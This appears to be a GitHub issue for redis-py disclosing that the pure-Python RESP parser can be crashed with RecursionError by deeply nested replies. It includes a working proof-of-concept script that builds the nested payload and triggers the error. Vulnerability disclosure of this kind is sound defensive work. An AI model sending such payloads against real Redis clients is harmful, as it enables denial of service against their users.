Skip to content

redis-py pure-Python parser hits RecursionError on deeply nested RESP replies #4116

@chinhnguyen007

Description

@chinhnguyen007

The pure-Python RESP parser path in redis-py uses recursive parsing for nested aggregate replies. A malicious Redis server, compromised Redis proxy, or an on-path actor that can inject RESP replies can send sufficiently deep nested aggregates and trigger RecursionError, causing client-side denial of service.

The pure-Python RESP parser recursively processes nested aggregate replies without a recursion-depth guard.
Relevant code paths include:

  • redis/_parsers/resp2.py
  • redis/_parsers/resp3.py

In the RESP2 parser, nested arrays recurse via _read_response() repeatedly until the Python recursion limit is exceeded.

Proof of concept

Create the following file:

import argparse
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
from redis._parsers.resp2 import _RESP2Parser
from redis._parsers.socket import SocketBuffer

class FakeSock:
    def __init__(self, payload: bytes):
        self.payload = payload
    def recv(self, n: int) -> bytes:
        if not self.payload:
            return b""
        chunk = self.payload[:n]
        self.payload = self.payload[n:]
        return chunk
    def settimeout(self, _timeout: float) -> None:
        pass

parser = argparse.ArgumentParser()
parser.add_argument("--depth", type=int, default=sys.getrecursionlimit() + 200)
args = parser.parse_args()

payload = (b"*1\r\n" * args.depth) + b"+OK\r\n"
resp = _RESP2Parser(1)
resp._buffer = SocketBuffer(FakeSock(payload), socket_read_size=65536, socket_timeout=1)

print("MODEL=malicious_redis_server_or_proxy")
print(f"PYTHON_RECURSION_LIMIT={sys.getrecursionlimit()}")
print(f"NESTING_DEPTH={args.depth}")
try:
    resp._read_response(disable_decoding=True)
except RecursionError:
    print("RESULT=VULNERABLE_RECURSION_DOS")
else:
    print("RESULT=NO_RECURSION_ERROR_AT_THIS_DEPTH")

Run

python poc.py
python poc.py --depth 1200

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions